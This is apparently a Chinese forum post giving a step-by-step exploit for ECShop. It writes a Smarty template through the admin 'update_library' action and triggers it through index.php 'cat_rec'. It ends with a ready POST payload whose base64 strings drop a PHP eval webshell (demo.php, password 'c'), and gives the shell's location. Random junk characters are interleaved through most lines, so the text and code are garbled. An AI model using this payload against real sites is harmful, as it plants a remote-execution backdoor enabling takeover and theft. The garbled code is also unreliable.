首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
: q1 \$ U% k8 {" b! j+ F3 m6 G: q* f0 L |/ A( {2 X- f0 b0 F3 O
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
8 t+ o0 r0 @- A6 \但是ecshop似乎不支持{php}{/php}这个标签来执行php代码1 f4 M5 ]* N0 F
admin/template.php) k2 D+ [1 _, k; S$ N9 ?
; ~8 A, \+ P: e2 j# V7 ~5 g1 if ($_REQUEST['act'] == 'update_library') . S. v5 l: U1 `8 \
^3 t- j3 A$ p2 C8 [
2 9 ~( [3 F8 o, Z( P/ H! r# x. V
( A* S2 y5 [! E) u+ S
3 {
3 S" u) n2 z* c: d: w! q' @8 S: m0 x& ^
4 check_authz_json('library_manage');
. o8 s6 R) g0 r# R `# ]. @( s. w- w! t$ C
5
3 ?9 b5 ~ {7 g+ v1 ~0 M: d
& T! L: B- o0 M9 N6 $html = stripslashes(json_str_iconv($_POST['html'])); ! \/ Y& c) {2 S; ~1 Z4 c" G# e1 {
1 U# D/ b. y+ d9 @' _7 y* f7 . I* [; l& e$ Z
1 K" X, G3 U. B; d& u# L- }" s& E( i
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 3 H. t( L- l: G4 v( R, J. _
9 R) O, T2 |1 R% E7 r9
8 c" Y4 V- h6 ` t7 [: y, ?4 J4 G6 w5 y: z; O% O) {+ u( [
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 % {4 @7 n: S% f4 L
4 ^( W6 {: w" D% T& s& B11 4 H. I9 N$ [9 m1 Z
" f) D5 f* T$ [" Y7 R12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
, D9 F4 m/ o/ x6 Z6 k: s5 m
3 r# f4 U* m+ L& q" r/ L13
; o3 W+ u \9 y* J1 q
! f( t3 ]; {, C; d. U) ]14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
/ C" S" g2 s& d* M- z) c4 y9 L. u- {/ J6 p+ w' z* T
15 {
& h" Z; B7 k; U: Z: U# a7 p H$ {
# v" ]6 y5 u8 F: X/ u4 c; y16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); ) z* U) f7 J' D( u* H9 `
' E, {6 G N& V! o/ y) T
17 make_json_result('', $_LANG['update_lib_success']); % }1 d# Y; j' q
2 O, W* I$ X+ g
18 } 9 A! D2 Y0 T! i& `* R/ z" W
" p, g5 f, ]3 y/ @* B6 X19 else 1 B3 n8 l: O; \- S
0 @4 @# r! }: W; G4 e/ ~; F20 { 8 K$ e# K7 r( b. `1 X" Q
: D/ G2 W" Z$ G21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
* g+ c& B0 Y3 G
8 |) y( i7 v' g3 J9 d22 }
! A A* g/ B. b1 H) V- w1 n8 K1 l" j/ k0 ?1 b* P
23 }
9 q N1 j/ v: w% a9 q3 F- f# M. ^5 W! z3 _8 v
那么找个比较方便调用了模板的文件% g2 p$ M; o% A- O6 S. `/ @1 i
index.php
$ G2 d) B G- D- g% @3 l( p; z4 y6 D* |
1 if ($act == 'cat_rec') ; G. R$ w0 c5 u& f
) v6 L \( ?# N) X. z
2 0 \& D; D! r0 |4 k) B
. V( Z- J6 ?7 m4 E8 W3 {
0 Z G* }# b8 @& x6 s
. Z2 l+ n! J8 q8 O1 j6 C0 q4 ) e# O4 v/ i7 h H! C0 E
4 m9 Z' [* w- b4 a$ x5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); 3 H4 F' N# c2 [" c( F: Q/ {2 t3 D
+ @* Q# _6 ]3 M9 {. I* ^& W6 . R% @1 M$ p8 [8 V" P/ t2 }6 s; q
# r) G3 p( H4 }+ B2 S; E7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; ( `8 s2 n- j' s: A, Z+ M
9 @ ?$ {, O# ?% m k8 ( c! h6 q6 ~( `& Z" J
2 d$ ]# Q, V5 p# a9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; ! R* |! `( D A; Y0 P3 s
! J |' |& y! O( ~8 t10 : O5 f- \- f. n5 F
! r+ ^0 |8 \9 |* } ?
11 include_once('includes/cls_json.php'); " g( M' k% ~0 {0 N* ?. M
- }# m% r5 I e+ f' k12
7 y+ r8 h3 J6 W$ Z H
7 }' Q: [( j1 c* X. ]3 q3 S3 }) v13 $json = new JSON;
* N/ ]: N+ }2 d8 e" f$ P8 v+ [* D( ]3 d; r
14
) a) O p: L0 S1 c5 p( s6 \
% e% S i& D* K$ Q15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
. B1 e3 g# A, J/ C# W+ W
( b" Q) w7 a5 O" m d16
h8 L G- M! R" N% w9 d
8 }+ i+ [! @4 f2 M# B5 X17 $children = get_children($cat_id);
/ O2 ^+ ^/ K4 G/ k/ f% @
5 b2 y9 N7 e4 i1 m0 M7 C18 : |( f5 d: V$ m2 h5 s+ L
1 B$ E0 ]( [$ P, G19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
* j) ~5 G3 ^+ p3 ^ p7 `" x1 ]+ n* q
20
7 [; w' i! w0 Z9 A
, I( r& {! U1 T3 p# p$ B! q21 $smarty->assign('cat_rec_sign', 1); 9 ?$ O# I4 y) r/ b% w
: _% r7 i, ^$ O, X) W" q22
" q' e" O: u. @) p8 O6 i! o* h- `7 }. j; t! ~8 k
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
% h. [: s8 c3 e% `) d1 c' b7 H, g( M5 M: p
24
{5 E: R8 J, ~3 S1 F" ?* f
- g5 E; `9 z c5 m& h25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; / ~: G, N5 @7 X0 o# u9 L1 @3 k
) k6 r$ ^0 [: x" k$ a1 c2 ~26 2 ?" o I' f* D+ N8 j: Q6 l$ T1 P. c% |
A2 J9 X6 B2 h" n: w
27 echo $rec_array[$rec_type];
9 D2 D6 K4 l. @0 H' w! U% n5 f- e$ L6 r1 A a% ~
28 " Q6 e# e. Q, \, T, n
5 p" g- n0 Q% L3 w, Z
29 die($json->encode($result)); # v9 B$ o/ J8 `
8 `% Y1 s) [4 M7 q/ Q2 o. M30
) V% V$ D4 {# f
$ a8 M: X9 s+ X: p8 J* E4 s( C31 } , |; E+ Y1 W& x
* P9 K) J6 k; P- g8 }, V9 Y7 u
那么就有利用方法了
9 g/ n, c8 D* [4 m5 Ipost包到http://localhost/ec/admin/template.php?act=update_library
6 g. R% [( c# \3 C9 Q( N" ^: Z9 h+ W: oPost内容:
V% [6 ?$ c" M% u; r5 E9 }
3 H+ x# ~: S, }* | v+ `- W# f, e1 O7 b, v9 {7 {
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} # z$ C' k4 i0 k0 t
: o$ D5 o& F2 V1 o7 O+ O9 \7 O然后访问http://localhost/ec/index.php?act=cat_rec
/ j' L3 G5 C1 }8 ]2 v( ]9 S6 P# w' T' n
shel地址:http://localhost/ec/demo.php
! e& N- Q2 i) ?4 |! u9 }3 ~. e a密码c$ ]6 F T* q) T; K
2 N; @4 I, o' M+ J$ `/ X
|